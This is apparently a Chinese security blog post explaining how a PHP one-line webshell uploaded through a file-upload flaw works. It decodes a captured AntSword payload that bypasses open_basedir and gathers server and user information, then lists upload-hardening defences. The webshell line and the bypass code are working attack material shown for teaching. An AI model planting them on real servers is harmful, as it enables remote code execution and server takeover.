WEB安全--文件上传漏洞--一句话木马的工作方式

写这篇文章我的想法是,在了解文件上传漏洞之前,我们应该知道为什么要上传webshell,就像在我们磨刀之前应该要知道我们要拿刀来干啥 : )

以一句话木马来说,就单凭一小行代码怎么能做到控制别人的服务器的呢?这是值得思考的,所以请看下文。


首先,我已经上传了一句话木马:

接下来通过对蚁剑传输流量的抓包分析:

我们能看到传输数据的字段有一大段编码和两个变量,它的工作原理是:


分为了两个字段

1:e002eeda8c12f5=[省略]

2:oupeng=eval(base64_decode($_POST('e002eeda8c12f5')))

第一个字段是base64编码后的值,解码后其内容是:

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
    $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
    @array_push($oparr,$ocwd,sys_get_temp_dir());
    foreach($oparr as $item) {
        if(!@is_writable($item)){continue;};
        $tmdir=$item."/0ac4da9ca";
        @mkdir($tmdir);
        if(!@file_exists($tmdir)){continue;}
        $tmdir=realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr=@preg_split("/\\\\|\\//",$tmdir);
        for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");}
        @ini_set("open_basedir","/");
        @rmdir($tmdir);
        break;
    };
};;
function asenc($out){return $out;};
function asoutput(){$output=ob_get_contents();ob_end_clean();echo "f9b9d"."abb3d6";echo @asenc($output);echo "c84a1"."5b471";}
ob_start();
try{
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){foreach(range("C","Z")as$L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    $R.=php_uname();
    $R.="	{$s}";
    echo $R;
}catch(Exception $e){echo "ERROR://".$e->getMessage();}
asoutput();
die();
?>

第二个字段则是先用 $_POST('e002eeda8c12f5') 接到这段编码

然后用eval(base64_decode())的方式把它解码,这里嵌套的目的是用eval()执行base64_decode()

于是我们就能用oupeng接到解码后的代码

最后我们在回过头看我们的一句话木马:

eval($_POST['oupeng']);

也就是说最后蚁剑将处理后的值赋给oupeng这个变量,

然后网站中的一句话木马中的$_POST['oupe]接到这个变量,也就是接到这些代码,

最后再利用eval()在网站中执行这些代码

代码作用如下:
 

<?php
// 禁止显示错误信息
@ini_set("display_errors", "0");
// 设置脚本执行时间不限制
@set_time_limit(0);

// 获取 PHP 配置中的 open_basedir 值
$opdir=@ini_get("open_basedir");
if($opdir) {
    // 获取当前脚本所在目录
    $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
    // 使用 base64 解码后进行拆分
    $oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
    // 将当前目录和系统临时目录添加到数组中
    @array_push($oparr,$ocwd,sys_get_temp_dir());
    foreach($oparr as $item) {
        // 如果目录不可写,则继续循环
        if(!@is_writable($item)){continue;};
        // 创建一个临时目录
        $tmdir=$item."/0ac4da9ca";
        @mkdir($tmdir);
        // 如果目录不存在,则继续循环
        if(!@file_exists($tmdir)){continue;}
        // 获取临时目录的绝对路径
        $tmdir=realpath($tmdir);
        // 进入临时目录
        @chdir($tmdir);
        // 修改 open_basedir 为上一级目录
        @ini_set("open_basedir", "..");
        // 将路径按斜杠分隔成数组
        $cntarr=@preg_split("/\\\\|\\//",$tmdir);
        // 循环返回上级目录,直到根目录
        for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");}
        // 恢复 open_basedir 为根目录
        @ini_set("open_basedir","/");
        // 删除临时目录
        @rmdir($tmdir);
        break;
    };
};

// 定义函数 asenc,无实际操作,直接返回输入
function asenc($out){return $out;};
// 定义函数 asoutput,将输出内容进行一些处理后输出
function asoutput(){$output=ob_get_contents();ob_end_clean();echo "f9b9d"."abb3d6";echo @asenc($output);echo "c84a1"."5b471";}
// 开始输出缓冲区
ob_start();
try{
    // 获取当前脚本所在目录
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    // 如果为空,则获取当前路径的上一级目录
    if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
    // 将当前目录信息存入变量 $R
    $R="{$D}	";
    // 如果路径不是绝对路径,则循环遍历 A 到 Z 盘符,获取可用盘符
    if(substr($D,0,1)!="/"){foreach(range("C","Z")as$L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}
    // 添加分隔符和系统信息
    $R.="	";
    // 获取当前用户信息
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    // 添加系统信息和当前用户信息到变量 $R
    $R.=php_uname();
    $R.="	{$s}";
    // 输出变量 $R
    echo $R;
}catch(Exception $e){
    // 如果出现异常,则输出错误信息
    echo "ERROR://".$e->getMessage();
}
// 输出经过处理的内容
asoutput();
// 结束脚本
die();
?>

### 防范任意文件上传漏洞句话木马攻击 任意文件上传漏洞Web应用中常见的安全隐患,攻击者可以利用该漏洞上传恶意文件(如句话木马),从而实现远程代码执行或服务器控制。为了有效防范此类攻击,可以从以下几个方面入手: #### 1. 文件类型限制 限制用户上传的文件类型,仅允许上传特定格式的文件。例如,只允许上传图片文件(如`.jpg`、`.png`)时,可以通过检查文件扩展名或MIME类型来实现限制。但需注意,**MIME类型和扩展名检查均可被绕过**,因此应结合其他手段进行验证[^3]。 ```python # 示例:检查文件扩展名 def allowed_file(filename): allowed_extensions = {'jpg', 'jpeg', 'png', 'gif'} return '.' in filename and filename.rsplit('.', 1)[1].lower() in allowed_extensions ``` #### 2. 文件内容验证 对上传的文件内容进行深度验证,例如使用`getimagesize()`函数检查是否为真实图片文件。然而,这种验证方式仍可能被包含句话木马的图片文件绕过,因此需要结合其他安全机制[^4]。 ```php // PHP 示例:使用 getimagesize 检查是否为图片 if (getimagesize($_FILES['file']['tmp_name']) === false) { die("上传的文件不是图片"); } ``` #### 3. 文件存储路径控制 上传的文件不应直接存放在Web根目录下,而应存储在非Web访问路径的独立目录中。此外,上传后的文件应使用随机生成的文件名,避免攻击者通过猜测路径访问恶意文件[^1]。 ```php // PHP 示例:使用随机文件名 $upload_dir = "/var/www/uploads/"; $random_name = bin2hex(random_bytes(16)) . "." . pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION); move_uploaded_file($_FILES['file']['tmp_name'], $upload_dir . $random_name); ``` #### 4. 权限与认证控制 对上传功能进行严格的权限控制,确保只有经过认证和授权的用户才能执行文件上传操作。此外,应限制上传页面的访问权限,防止未授权访问[^5]。 #### 5. 安全编码与框架支持 使用安全的开发框架和库,避免手动处理文件上传逻辑。例如,在使用PHP时可以借助Laravel等框架自带的上传验证机制,减少人为错误带来的安全风险。 #### 6. Web服务器配置 配置Web服务器(如Apache、Nginx)以防止上传目录中执行脚本。例如,可以在上传目录的`.htaccess`文件中添加限制,禁止执行PHP脚本: ```apache <FilesMatch "\.(php|php5|php7|phtml)$"> Deny from all </FilesMatch> ``` #### 7. 安全检测与监控 部署Web应用防火墙(WAF)或入侵检测系统(IDS),实时监控上传行为,识别异常文件并及时告警。同时,定期进行安全扫描与渗透测试,发现潜在漏洞并修复。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值